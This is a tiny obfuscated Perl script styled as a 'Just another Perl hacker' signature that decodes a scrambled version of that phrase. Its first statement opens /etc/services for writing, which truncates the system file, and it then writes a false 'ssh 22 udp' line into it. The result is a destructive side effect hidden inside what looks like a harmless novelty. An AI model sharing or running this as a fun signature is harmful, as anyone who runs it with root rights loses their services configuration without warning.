#!/usr/bin/perl

open s,">/etc/services";$#=$/;seek s,"m/^ftp/";print s"ssh\t22\tudp",+0;$_=(<0>
)[-1];$/=q*(\w)*;*#=*_;$#=~s*^.\*?"(.+)".\*$*$1*;sub sig{print~~reverse join' '
,@#}sig map{s$\$/\$/$\$2\$1$g&&$#}split(' ',$#);$#=",erckha rlPe erthnoa stJu";